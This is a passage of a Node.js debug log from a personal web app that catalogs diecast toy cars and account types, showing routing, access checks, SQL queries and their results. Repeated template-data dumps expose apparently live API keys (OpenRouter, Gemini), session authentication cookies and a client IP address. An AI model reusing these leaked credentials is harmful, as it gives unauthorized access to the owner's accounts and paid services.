      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Jams Toys',
      id: 191,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-04T07:07:23.503Z server-connect:router Serving templateView /collections
2026-02-04T07:07:23.504Z server-connect:app Executing action step identify
2026-02-04T07:07:23.504Z server-connect:app options: { provider: 'security' }
2026-02-04T07:07:23.504Z server-connect:output identity: 1
2026-02-04T07:07:23.504Z server-connect:app Executing action step restrict
2026-02-04T07:07:23.504Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:07:23.504Z server-connect:output restrict: undefined
2026-02-04T07:07:23.504Z server-connect:router Render template layouts/main
2026-02-04T07:07:23.504Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: '*/*',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'empty',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"124f8-aEpt9rtmIJ1o5Yx97ec1+UuIWHs"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: '*/*',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"124f8-aEpt9rtmIJ1o5Yx97ec1+UuIWHs"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/masters/collections'
}
2026-02-04T07:07:29.835Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T07:07:29.835Z server-connect:app Executing action step identify
2026-02-04T07:07:29.835Z server-connect:app options: { provider: 'security' }
2026-02-04T07:07:29.835Z server-connect:output identity: 1
2026-02-04T07:07:29.835Z server-connect:app Executing action step restrict
2026-02-04T07:07:29.835Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:07:29.835Z server-connect:output restrict: undefined
2026-02-04T07:07:29.835Z server-connect:app Executing action step paged
2026-02-04T07:07:29.835Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T07:07:29.837Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 62,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Multipack',
      id: 81,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Exclusive',
      id: 82,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Moving Parts',
      id: 83,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Collectors',
      id: 84,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Racing Cars',
      id: 85,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Vintage',
      id: 86,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Deluxe Cars',
      id: 87,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Giftpack',
      id: 88,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Construction',
      id: 89,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Emergency',
      id: 90,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Basic',
      id: 91,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Fantasy',
      id: 92,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Other',
      id: 93,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Dirt',
      id: 94,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Race day',
      id: 95,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Muscle Mania',
      id: 96,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Hot Trucks',
      id: 97,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Celebration Racers',
      id: 98,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW 70s vs 90s',
      id: 99,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-04T07:07:31.795Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T07:07:31.796Z server-connect:app Executing action step identify
2026-02-04T07:07:31.796Z server-connect:app options: { provider: 'security' }
2026-02-04T07:07:31.796Z server-connect:output identity: 1
2026-02-04T07:07:31.796Z server-connect:app Executing action step restrict
2026-02-04T07:07:31.796Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:07:31.796Z server-connect:output restrict: undefined
2026-02-04T07:07:31.796Z server-connect:app Executing action step paged
2026-02-04T07:07:31.796Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T07:07:31.797Z server-connect:output records: {
  offset: 50,
  limit: 25,
  total: 62,
  page: {
    offset: { first: 0, prev: 25, next: 50, last: 50 },
    current: 3,
    total: 3
  },
  data: [
    {
      name: 'Majorette Dream Italy Gift Set',
      id: 171,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Majorette Light Racer Gift Set',
      id: 172,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Majorette Porsche Edition Gift Set',
      id: 173,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Majorette Limited Edition 9 Gift Set',
      id: 174,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Silver Series',
      id: 176,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Ride-Ons',
      id: 178,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Euro',
      id: 179,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Pantone',
      id: 180,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Pop Culture',
      id: 181,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Majorette Black Edition Gift Set',
      id: 193,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Majorette Mercedes AMG Gift Set',
      id: 194,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Majorette Castheads Gift Set',
      id: 195,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-04T07:08:39.611Z server-connect:router Serving templateView /diecast-reports
2026-02-04T07:08:39.611Z server-connect:app Executing action step identify
2026-02-04T07:08:39.611Z server-connect:app options: { provider: 'security' }
2026-02-04T07:08:39.612Z server-connect:output identity: 1
2026-02-04T07:08:39.612Z server-connect:app Executing action step restrict
2026-02-04T07:08:39.612Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:08:39.613Z server-connect:output restrict: undefined
2026-02-04T07:08:39.613Z server-connect:router Render template diecast-reports
2026-02-04T07:08:39.614Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T07:08:39.898Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-02-04T07:08:39.898Z server-connect:app Executing action step identify
2026-02-04T07:08:39.898Z server-connect:app options: { provider: 'security' }
2026-02-04T07:08:39.899Z server-connect:output identity: 1
2026-02-04T07:08:39.899Z server-connect:app Executing action step restrict
2026-02-04T07:08:39.899Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:08:39.899Z server-connect:output restrict: undefined
2026-02-04T07:08:39.899Z server-connect:app Executing action step custom
2026-02-04T07:08:39.899Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-02-04T07:08:39.901Z server-connect:output list: [
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  { series: 176, name: 'HW Silver Series', total: 6 },
  { series: 195, name: 'Majorette Castheads Gift Set', total: 5 },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 107, name: 'HW EV', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 101, name: 'HW Then and now', total: 5 },
  { series: 193, name: 'Majorette Black Edition Gift Set', total: 5 },
  { series: 194, name: 'Majorette Mercedes AMG Gift Set', total: 5 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 150, name: 'HW Reverse Rake', total: 3 },
  { series: 149, name: 'HW Compact Kings', total: 3 },
  { series: 92, name: 'Fantasy', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 151, name: 'HW Rod Squad', total: 2 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 },
  { series: 181, name: 'HW Pop Culture', total: 1 },
  { series: 180, name: 'HW Pantone', total: 1 },
  { series: 179, name: 'HW Euro', total: 1 },
  { series: 178, name: 'HW Ride-Ons', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 163, name: 'HW Starting Grid', total: 1 }
]
2026-02-04T07:08:51.921Z server-connect:router Serving templateView /collections
2026-02-04T07:08:51.922Z server-connect:app Executing action step identify
2026-02-04T07:08:51.922Z server-connect:app options: { provider: 'security' }
2026-02-04T07:08:51.922Z server-connect:output identity: 1
2026-02-04T07:08:51.922Z server-connect:app Executing action step restrict
2026-02-04T07:08:51.922Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:08:51.922Z server-connect:output restrict: undefined
2026-02-04T07:08:51.922Z server-connect:router Render template masters/collections
2026-02-04T07:08:51.922Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
